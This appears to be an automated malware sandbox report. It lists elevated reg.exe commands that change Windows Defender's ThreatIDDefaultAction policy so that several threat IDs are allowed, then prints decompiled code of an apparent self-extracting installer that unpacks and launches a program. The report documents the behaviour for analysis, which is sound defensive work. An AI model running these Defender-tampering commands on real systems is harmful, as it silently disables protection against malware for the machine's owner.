Analysis Process: reg.exePID: 5480, Parent PID: 1328

General

Target ID:	51
Start time:	16:11:57
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5584, Parent PID: 1328

General

Target ID:	52
Start time:	16:11:57
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5636, Parent PID: 1328

General

Target ID:	53
Start time:	16:11:58
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: reg.exePID: 5660, Parent PID: 1328

General

Target ID:	54
Start time:	16:11:58
Start date:	31/12/2022
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
Imagebase:	0xb10000
File size:	59392 bytes
MD5 hash:	CEE2A7E57DF2A159A065A34913A055C2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5188, Parent PID: 3528COMMON

Execution Graph

Execution Coverage:	15.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	44

Executed Functions

Function 00414B04 Relevance: 6.1, APIs: 4, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				unsigned int _t15;
				signed int _t27;
				intOrPtr _t29;
				signed int _t35;
				intOrPtr _t52;

				_t47 = __edi;
				_push(0xffffffff);
				_push(0x41b9e0);
				_push(E00414A2C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t52;
				_push(__edi);
				_v28 = _t52 - 0x58;
				_t15 = GetVersion();
				 *0x4233d0 = 0;
				_t35 = _t15 & 0x000000ff;
				 *0x4233cc = _t35;
				 *0x4233c8 = _t35 << 8;
				 *0x4233c4 = _t15 >> 0x10;
				if(E004159F8(_t35 << 8, 1) == 0) {
					E00414C31(0x1c);
				}
				if(E004154BC() == 0) {
					E00414C31(0x10);
				}
				_v8 = 0;
				E00417641();
				 *0x425a3c = GetCommandLineA();
				 *0x423340 = E0041750F();
				E004172C2();
				E00417209();
				E00416C69();
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				_v104 = E004171B1();
				_t56 = _v96.dwFlags & 0x00000001;
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t27 = 0xa;
				} else {
					_t27 = _v96.wShowWindow & 0x0000ffff;
				}
				_t29 = E00401014(_t56, GetModuleHandleA(0), 0, _v104, _t27); // executed
				_v100 = _t29;
				E00416C96(_t29);
				_v108 =  *((intOrPtr*)( *_v24));
				return E00417039(_t47, _t56,  *((intOrPtr*)( *_v24)), _v24);
			}

0x00414b04
0x00414b07
0x00414b09
0x00414b0e
0x00414b19
0x00414b1a
0x00414b26
0x00414b27
0x00414b2a
0x00414b34
0x00414b3c
0x00414b42
0x00414b4d
0x00414b56
0x00414b65
0x00414b69
0x00414b6e
0x00414b76
0x00414b7a
0x00414b7f
0x00414b82
0x00414b85
0x00414b90
0x00414b9a
0x00414b9f
0x00414ba4
0x00414ba9
0x00414bae
0x00414bb5
0x00414bc0
0x00414bc3
0x00414bc7
0x00414bd1
0x00414bc9
0x00414bc9
0x00414bc9
0x00414bdf
0x00414be4
0x00414be8
0x00414bf4
0x00414c00

APIs

GetVersion.KERNEL32 ref: 00414B2A

Part of subcall function 004159F8: HeapCreate.KERNELBASE(00000000,00001000,00000000,00414B62,00000001), ref: 00415A09
Part of subcall function 004159F8: HeapDestroy.KERNEL32 ref: 00415A48

GetCommandLineA.KERNEL32 ref: 00414B8A
GetStartupInfoA.KERNEL32(?), ref: 00414BB5
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00414BD8

Part of subcall function 00414C31: ExitProcess.KERNEL32 ref: 00414C4E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$CommandCreateDestroyExitHandleInfoLineModuleProcessStartupVersion
String ID:
API String ID: 2057626494-0
Opcode ID: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction ID: b13fe99396feb2249fb7197ea22bdd2eb3a8d4431b5d50e9622b99800ed9eeb5
Opcode Fuzzy Hash: e3a55e15dfbba78f576db0669a4780403b126b59620817d16bca0fbeb85d5517
Instruction Fuzzy Hash: 0721D2B0A44705AFD718AFB6DC46BEE7BB8EF44714F10052FF9009A291DB3C85808A9C

Uniqueness

Uniqueness Score: -1.00%

Function 004055DE Relevance: 6.1, APIs: 4, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004055DE(void** __ecx, void* __eflags) {
				signed int _t23;
				signed int _t25;
				void* _t36;
				void** _t51;
				void* _t53;

				E00413954(E004196AC, _t53);
				_t51 = __ecx;
				_t23 = E0040551A(__ecx);
				if(_t23 != 0) {
					if( *0x423148 == 0) {
						E00401C80(_t53 - 0x18,  *(_t53 + 8));
						 *(_t53 - 4) =  *(_t53 - 4) & 0x00000000;
						_t25 = AreFileApisANSI();
						asm("sbb eax, eax");
						_push( ~_t25 + 1);
						 *_t51 = FindFirstFileA( *(E00403D04(_t53 - 0x24)), _t53 - 0x164);
						E00403A9C( *((intOrPtr*)(_t53 - 0x24)));
						 *(_t53 - 4) =  *(_t53 - 4) | 0xffffffff;
						E00403A9C( *((intOrPtr*)(_t53 - 0x18)));
						__eflags =  *_t51 - 0xffffffff;
						if(__eflags != 0) {
							E00405705(_t53 - 0x164,  *((intOrPtr*)(_t53 + 0xc)), __eflags);
						}
					} else {
						_t36 = FindFirstFileW( *(_t53 + 8), _t53 - 0x3b4); // executed
						_t61 = _t36 - 0xffffffff;
						 *_t51 = _t36;
						if(_t36 != 0xffffffff) {
							E004056A6(_t53 - 0x3b4,  *((intOrPtr*)(_t53 + 0xc)), _t61);
						}
					}
					_t23 = 0 |  *_t51 != 0xffffffff;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t23;
			}

0x004055e3
0x004055ef
0x004055f1
0x004055f8
0x00405605
0x00405634
0x00405639
0x0040563d
0x00405645
0x0040564e
0x00405667
0x00405669
0x00405671
0x00405675
0x0040567a
0x0040567f
0x0040568a
0x0040568a
0x00405607
0x00405611
0x00405617
0x0040561a
0x0040561c
0x00405627
0x00405627
0x0040561c
0x00405694
0x00405694
0x0040569b
0x004056a3

APIs

__EH_prolog.LIBCMT ref: 004055E3

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileW.KERNELBASE(?,?), ref: 00405611
AreFileApisANSI.KERNEL32(?), ref: 0040563D
FindFirstFileA.KERNEL32(?,?,00000001), ref: 0040565E

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$First$ApisCloseH_prolog
String ID:
API String ID: 4121580741-0
Opcode ID: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction ID: 53571c6d670a3437f98eaf3b47711b77fa147e423a783867877babb07b55427d
Opcode Fuzzy Hash: fcb5256250039c908afd196fb8e76c17c38080862ebf91937f58451f3d562862
Instruction Fuzzy Hash: AB21813180050ADFCF11EF60C8459EEBB75EF00329F10476AE4A5B61E1DB399A85CF48

Uniqueness

Uniqueness Score: -1.00%

Function 0040553A Relevance: 1.5, APIs: 1, Instructions: 24
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040553A(void** __ecx, void* __eflags, CHAR* _a4, intOrPtr _a8) {
				struct _WIN32_FIND_DATAA _v324;
				void* _t8;
				void** _t14;

				_t14 = __ecx;
				if(E0040551A(__ecx) == 0) {
					L2:
					return 0;
				}
				_t8 = FindFirstFileA(_a4,  &_v324); // executed
				 *_t14 = _t8;
				if(_t8 != 0xffffffff) {
					E0040557F( &_v324, _a8, __eflags);
					return 1;
				}
				goto L2;
			}

0x00405544
0x0040554d
0x00405566
0x00000000
0x00405566
0x00405559
0x00405562
0x00405564
0x00405573
0x00000000
0x00405578
0x00000000

APIs

Part of subcall function 0040551A: FindClose.KERNELBASE(?,000000FF,0040554B,000000FF), ref: 00405525

FindFirstFileA.KERNELBASE(?,?,000000FF), ref: 00405559

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction ID: 4d0f5172a85985fc9641596f45f8b0e99eb03685ed3a07152804d04183bf4296
Opcode Fuzzy Hash: 4d5417fc6ca074e65557f02866c61fee52306747aaa4eef42dce5467d8724910
Instruction Fuzzy Hash: 5DE0923040050876CB20BF35DC019EB776AEF11398F104276F955672E5D738D9468F98

Uniqueness

Uniqueness Score: -1.00%

Function 0041584A Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041584A() {
				_Unknown_base(*)()* _t1;

				_t1 = SetUnhandledExceptionFilter(E00415804); // executed
				 *0x4233b0 = _t1;
				return _t1;
			}

0x0041584f
0x00415855
0x0041585a

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00015804), ref: 0041584F

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
Instruction ID: 76677b13eed7a87b3dd700732a0fedcf1c6828d453a24416ba8446ce1f8cc847
Opcode Fuzzy Hash: 606abe9215baac8c82b0634bac82feb5658c8fb73c9735c67e630ff6bf3afee2
Instruction Fuzzy Hash: 6CA022F0280300CF8B00AF20AC082C03E30F28830330000B3B80080238CF380388CA2C

Uniqueness

Uniqueness Score: -1.00%

Function 0041585C Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00415861

Memory Dump Source

Source File: 00000000.00000002.491152909.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.491135742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491212511.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491315115.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491346410.0000000000422000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491363516.0000000000423000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.491391269.0000000000427000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
Instruction ID: 9f5714f3741d262582d91aa49c58cb07bd20065c27159592644951a243d3f8b5
Opcode Fuzzy Hash: 1d24ef28bc6494d4f32e17e582550bcecd4607126de7dd0e3447cde8bb60405a
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00401014 Relevance: 56.7, APIs: 12, Strings: 20, Instructions: 692
windowsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E00401014(void* __eflags, void* _a4, signed int _a7) {
				signed int _v5;
				char _v20;
				struct HWND__* _v24;
				struct HWND__* _v28;
				char _v32;
				struct HWND__* _v36;
				signed int _v40;
				signed int _v44;
				struct HWND__* _v48;
				struct HWND__* _v52;
				char _v56;
				WCHAR* _v68;
				struct HWND__* _v72;
				struct HWND__* _v76;
				char _v80;
				struct HWND__* _v84;
				struct HWND__* _v88;
				char _v92;
				struct HWND__* _v96;
				struct HWND__* _v100;
				char _v104;
				struct HWND__* _v108;
				struct HWND__* _v112;
				char _v116;
				CHAR* _v128;
				CHAR* _v140;
				char _v144;
				struct HWND__* _v148;
				struct HWND__* _v152;
				char _v156;
				intOrPtr _v164;
				char _v176;
				char _v188;
				char _v200;
				char _v212;
				char _v216;
				CHAR* _v228;
				struct _PROCESS_INFORMATION _v244;
				struct _STARTUPINFOA _v312;
				void* __ebp;
				char _t280;
				intOrPtr* _t294;
				void* _t297;
				void* _t302;
				signed int _t306;
				signed int _t308;
				signed int _t314;
				signed int _t318;
				signed int _t339;
				void* _t375;
				signed char _t384;
				signed int _t423;
				signed int _t436;
				int _t466;
				intOrPtr _t501;
				void* _t619;
				void* _t620;
				void* _t635;
				signed int _t636;
				signed int _t640;
				signed int _t642;
				void* _t643;
				char** _t644;

				 *0x423144 = _a4;
				_t280 = E00401A51();
				_t635 = 3;
				 *0x423148 = _t280;
				_v156 = 0;
				_v152 = 0;
				_v148 = 0;
				E00402170( &_v156, _t635);
				_v32 = 0;
				_v28 = 0;
				_v24 = 0;
				E00402170( &_v32, _t635);
				_v80 = 0;
				_v76 = 0;
				_v72 = 0;
				E00402170( &_v80, _t635);
				_v116 = 0;
				_v112 = 0;
				_v108 = 0;
				E00402170( &_v116, _t635);
				E00401C80( &_v68, GetCommandLineW());
				_push( &_v32);
				E004038EE( &_v68,  &_v156);
				E00403A9C(_v68);
				_v104 = 0;
				_v100 = 0;
				_v96 = 0;
				E00402170( &_v104, _t635);
				_t501 =  *0x423144; // 0x400000
				E004045E2(_t501,  &_v104);
				E0040235E( &_v32);
				E00402323( &_v32);
				_a7 = 0;
				_t294 = E00401C80( &_v68, L"-y");
				E00401E3A( &_v32,  &_v20, 2);
				_t297 = E00403B4F( *_t294);
				E00403A9C(_v20);
				E00403A9C(_v68);
				_t649 = _t297;
				if(_t297 == 0) {
					_a7 = 1;
					E00401D7A( &_v32, E00401E19( &_v32,  &_v20, 2));
					E00403A9C(_v20);
					E0040235E( &_v32);
					E00402323( &_v32);
				}
				_v92 = 0;
				_v88 = 0;
				_v84 = 0;
				E0040243E( &_v92, _t635);
				_push( &_v92);
				_push(";!@InstallEnd@!");
				_t302 = E00401AF4(_v104, ";!@Install@!UTF-8!", _t649); // executed
				if(_t302 != 0) {
					E00401C80( &_v212, L".\\");
					_v56 = 0;
					_v52 = 0;
					_v48 = 0;
					E00402170( &_v56, _t635);
					__eflags = _v88;
					_v216 = 1;
					if(_v88 == 0) {
						L21:
						_v144 = 0;
						E00401ECD( &_v140);
						_t306 = E00405298( &_v144, _t643,  *0x420060);
						__eflags = _t306;
						if(_t306 != 0) {
							_push(0x1c);
							_t640 = E00403A76();
							__eflags = _t640;
							if(_t640 == 0) {
								_t636 = 0;
								__eflags = 0;
							} else {
								_t139 = _t640 + 8; // 0x8
								 *((intOrPtr*)(_t640 + 4)) = 0;
								E00401F0D(_t139);
								 *_t640 = 0x41b328;
								_t636 = _t640;
							}
							__eflags = _t636;
							if(_t636 != 0) {
								 *((intOrPtr*)( *_t636 + 4))(_t636);
							}
							_t308 = E00408107(_t636);
							__eflags = _t308;
							if(_t308 == 0) {
								E00401A03();
								_v5 = 0;
								_v44 = 0;
								_v40 = 0;
								_v36 = 0;
								E00402170( &_v44, 3);
								_push( &_v44);
								_push( &_v5);
								_push(_v216);
								_push( &_v200); // executed
								_t314 = E00402F15(_t636,  &_v104, __eflags); // executed
								__eflags = _t314;
								if(_t314 == 0) {
									E00403A9C(_v44);
									E00401ECD( &_v128);
									E00405033( &_v128);
									_t318 = SetCurrentDirectoryA(_v140); // executed
									__eflags = _t318;
									if(_t318 != 0) {
										__eflags = _v76;
										if(_v76 == 0) {
											__eflags = _v52;
											if(_v52 != 0) {
												L57:
												E00401CE1( &_v68,  &_v200);
												E00405D0B( &_v68);
												E00401C80( &_v20, L"%%T\\");
												E00401E56( &_v56,  &_v20,  &_v68);
												E00403A9C(_v20);
												E00403A9C(_v68);
												E00401C80( &_v20, L"%%T");
												E00401E56( &_v56,  &_v20,  &_v200);
												E00403A9C(_v20);
												__eflags = _v28;
												if(_v28 != 0) {
													E00401DB8( &_v56, 0x20);
													E00401DE3( &_v56,  &_v32);
												}
												_push( &_v56);
												_v312.cb = 0x44;
												_v312.lpReserved = 0;
												_v312.lpDesktop.cbSize = 0;
												_v312.lpTitle = 0;
												_v312.dwFlags = 0;
												_v312.cbReserved2 = 0;
												_v312.lpReserved2 = 0;
												E00402634( &_v188,  &_v212);
												E00401A18();
												E00403A9C(_v188);
												_t339 = CreateProcessA(0, _v228, 0, 0, 0, 0, 0, 0,  &_v312,  &_v244); // executed
												__eflags = _t339;
												if(_t339 != 0) {
													CloseHandle(_v244.hThread);
													_a4 = _v244.hProcess;
													E00403A9C(_v228);
													L69:
													__eflags = _a4;
													if(_a4 != 0) {
														WaitForSingleObject(_a4, 0xffffffff);
														CloseHandle(_a4);
													}
													SetCurrentDirectoryA(_v128); // executed
													E00403A9C(_v128);
													E00403A9C(_v200);
													__eflags = _t636;
													if(_t636 != 0) {
														 *((intOrPtr*)( *_t636 + 8))(_t636);
													}
													goto L73;
												} else {
													__eflags = _a7;
													if(_a7 == 0) {
														__eflags = 0;
														E00411127(0);
													}
													E00403A9C(_v228);
													L63:
													L64:
													SetCurrentDirectoryA(_v128);
													_push(_v128);
													L65:
													E00403A9C();
													E00403A9C(_v200);
													__eflags = _t636;
													if(_t636 != 0) {
														 *((intOrPtr*)( *_t636 + 8))(_t636);
													}
													E00401A2D( &_v144);
													E00403A9C(_v140);
													E00403A9C(_v56);
													E00403A9C(_v212);
													E00403A9C(_v92);
													E00403A9C(_v104);
													E00403A9C(_v116);
													E00403A9C(_v80);
													E00403A9C(_v32);
													E00403A9C(_v156);
													_t375 = 1;
													return _t375;
												}
											}
											E00401D1B( &_v56, L"setup.exe");
											_t384 = E0040587C( *((intOrPtr*)(E00401A18())),  &_v56, __eflags);
											asm("sbb al, al");
											_v5 =  ~_t384 + 1;
											E00403A9C(_v188);
											__eflags = _v5;
											if(_v5 == 0) {
												goto L57;
											}
											__eflags = _a7;
											if(_a7 == 0) {
												E00411093(0, L"Can not find setup.exe");
											}
											goto L64;
										}
										E00401A18();
										__eflags = _v28;
										_v312.lpDesktop.cbSize = 0x3c;
										_v312.lpTitle = 0x140;
										_v312.dwX = 0;
										_v312.dwY = 0;
										_v312.dwXSize = _v68;
										if(_v28 != 0) {
											E00401DE3( &_v116,  &_v32);
										}
										E00401A18();
										_v312.dwXCountChars = 0;
										asm("sbb eax, eax");
										_v312.dwYCountChars = 1;
										_v312.hStdError = 0;
										_v312.dwYSize =  ~_v40 & _v44;
										ShellExecuteExA( &(_v312.lpDesktop));
										__eflags = _v312.dwFillAttribute - 0x20;
										if(_v312.dwFillAttribute > 0x20) {
											_a4 = _v312.hStdError;
											E00403A9C(_v44);
											E00403A9C(_v68);
											goto L69;
										} else {
											__eflags = _a7;
											if(_a7 == 0) {
												__eflags = 0;
												E00411093(0, L"Can not open file");
											}
											E00403A9C(_v44);
											E00403A9C(_v68);
											goto L63;
										}
									}
									SetCurrentDirectoryA(_v128);
									E00403A9C(_v128);
									E00403A9C(_v200);
									goto L43;
								}
								__eflags = _a7;
								if(_a7 != 0) {
									L40:
									_push(_v44);
									goto L65;
								}
								__eflags = _t314 - 1;
								if(_t314 == 1) {
									L36:
									_t619 = 8;
									E00401D7A( &_v44, E0040602F(_t619));
									E00403A9C(_v188);
									_t314 = 0x80004005;
									L37:
									__eflags = _t314 - 0x80004004;
									if(_t314 != 0x80004004) {
										__eflags = _v40;
										if(_v40 != 0) {
											_t620 = 7;
											MessageBoxW(0, _v44,  *(E0040602F(_t620)), 0x10);
											E00403A9C(_v188);
										}
									}
									goto L40;
								}
								__eflags = _v5;
								if(_v5 == 0) {
									goto L37;
								}
								goto L36;
							} else {
								E00411093(0, L"Can not load codecs");
								L43:
								__eflags = _t636;
								if(_t636 != 0) {
									 *((intOrPtr*)( *_t636 + 8))(_t636);
								}
								L24:
								_push(1);
								_pop(0);
								L73:
								E00401A2D( &_v144);
								E00403A9C(_v140);
								E00403A9C(_v56);
								E00403A9C(_v212);
								_t644 =  &(_t644[3]);
								goto L74;
							}
						}
						__eflags = _a7;
						if(_a7 == 0) {
							__eflags = 0;
							E00411093(0, L"Can not create temp folder archive");
						}
						goto L24;
					}
					E00402155( &_v176);
					_v176 = 0x41b334;
					_t423 = E00403D5A( &_v92,  &_v176);
					__eflags = _t423;
					if(_t423 != 0) {
						E00401C80( &_v20, L"Title");
						E00404073( &_v68,  &_v176,  &_v20);
						E00403A9C(_v20);
						 *_t644 = L"BeginPrompt";
						E00401C80( &_v20);
						E00404073( &_v44,  &_v176,  &_v20);
						E00403A9C(_v20);
						 *_t644 = L"Progress";
						E00401C80( &_v20);
						E00404073( &_v228,  &_v176,  &_v20);
						E00403A9C(_v20);
						_t436 = E00403B4F(L"no");
						__eflags = _t436;
						if(_t436 == 0) {
							_v216 = 0;
						}
						E00401C80( &_v20, L"Directory");
						_t642 = E00404041( &_v176,  &_v20);
						E00403A9C(_v20);
						__eflags = _t642;
						if(_t642 >= 0) {
							__eflags =  *((intOrPtr*)(_v164 + _t642 * 4)) + 0xc;
							E00401D7A( &_v212,  *((intOrPtr*)(_v164 + _t642 * 4)) + 0xc);
						}
						__eflags = _v40;
						if(_v40 == 0) {
							L20:
							E00401C80( &_v20, L"RunProgram");
							E00401D7A( &_v56, E00404073( &(_v244.hThread),  &_v176,  &_v20));
							E00403A9C(_v244.hThread);
							E00403A9C(_v20);
							E00401C80( &_v20, L"ExecuteFile");
							E00401D7A( &_v80, E00404073( &(_v244.hThread),  &_v176,  &_v20));
							E00403A9C(_v244.hThread);
							E00403A9C(_v20);
							E00401C80( &_v20, L"ExecuteParameters");
							_push( &_v32);
							E00401D7A( &_v116, E00402634( &(_v244.hThread), E00404073( &_v188,  &_v176,  &_v20)));
							E00403A9C(_v244.hThread);
							E00403A9C(_v188);
							E00403A9C(_v20);
							E00403A9C(_v228);
							E00403A9C(_v44);
							E00403A9C(_v68);
							_t644 =  &(_t644[6]);
							_v176 = 0x41b334;
							E004042D6();
							E004042AD( &_v176);
							goto L21;
						} else {
							__eflags = _a7;
							if(_a7 != 0) {
								goto L20;
							}
							_t466 = MessageBoxW(0, _v44, _v68, 0x24);
							__eflags = _t466 - 6;
							if(_t466 == 6) {
								goto L20;
							}
							E00403A9C(_v228);
							E00403A9C(_v44);
							E00403A9C(_v68);
							_t644 =  &(_t644[3]);
							L19:
							_v176 = 0x41b334;
							E004042D6();
							E004042AD( &_v176);
							E00403A9C(_v56);
							E00403A9C(_v212);
							E00403A9C(_v92);
							E00403A9C(_v104);
							E00403A9C(_v116);
							E00403A9C(_v80);
							E00403A9C(_v32);
							E00403A9C(_v156);
							goto L75;
						}
					}
					__eflags = _a7;
					if(_a7 == 0) {
						__eflags = 0;
						E00411093(0, L"Config failed");
					}
					_push(1);
					_pop(0);
					goto L19;
				} else {
					if(_a7 == 0) {
						E00411093(0, L"Can\'t load config info");
					}
					_push(1);
					_pop(0);
					L74:
					E00403A9C(_v92);
					E00403A9C(_v104);
					E00403A9C(_v116);
					E00403A9C(_v80);
					E00403A9C(_v32);
					E00403A9C(_v156);
					L75:
					return 0;
				}
			}

0x00401023
0x00401028
0x00401031
0x00401039
0x0040103e
0x00401044
0x0040104a
0x00401050
0x00401059
0x0040105c
0x0040105f
0x00401062
0x0040106b
0x0040106e
0x00401071
0x00401074
0x0040107d
0x00401080
0x00401083
0x00401086
0x00401095
0x004010a3
0x004010a7
0x004010af
0x004010b5
0x004010bc
0x004010bf
0x004010c2
0x004010c7
0x004010d0
0x004010d8
0x004010e0
0x004010ed
0x004010f0
0x00401100
0x00401109
0x00401113
0x0040111b
0x00401121
0x00401124
0x0040112f
0x0040113c
0x00401144
0x0040114d
0x00401155
0x00401155
0x0040115e
0x00401161
0x00401164
0x00401167
0x00401172
0x00401173
0x0040117d
0x00401184
0x004011aa
0x004011b3
0x004011b6
0x004011b9
0x004011bc
0x004011c1
0x004011c4
0x004011cb
0x004014b1
0x004014b7
0x004014bd
0x004014ce
0x004014d3
0x004014d5
0x004014f0
0x004014f7
0x004014fa
0x004014fc
0x00401513
0x00401513
0x004014fe
0x004014fe
0x00401501
0x00401504
0x00401509
0x0040150f
0x0040150f
0x00401515
0x00401517
0x0040151c
0x0040151c
0x00401521
0x00401526
0x00401528
0x00401547
0x00401551
0x00401554
0x00401557
0x0040155a
0x0040155d
0x00401568
0x0040156c
0x00401573
0x0040157b
0x0040157c
0x00401581
0x00401583
0x004015fc
0x00401605
0x0040160d
0x0040161e
0x00401620
0x00401622
0x00401651
0x00401654
0x0040172c
0x0040172f
0x00401787
0x00401791
0x00401799
0x004017a6
0x004017b6
0x004017be
0x004017c6
0x004017d5
0x004017e8
0x004017f0
0x004017f5
0x004017f9
0x00401800
0x0040180c
0x0040180c
0x0040181a
0x00401821
0x0040182b
0x00401831
0x00401837
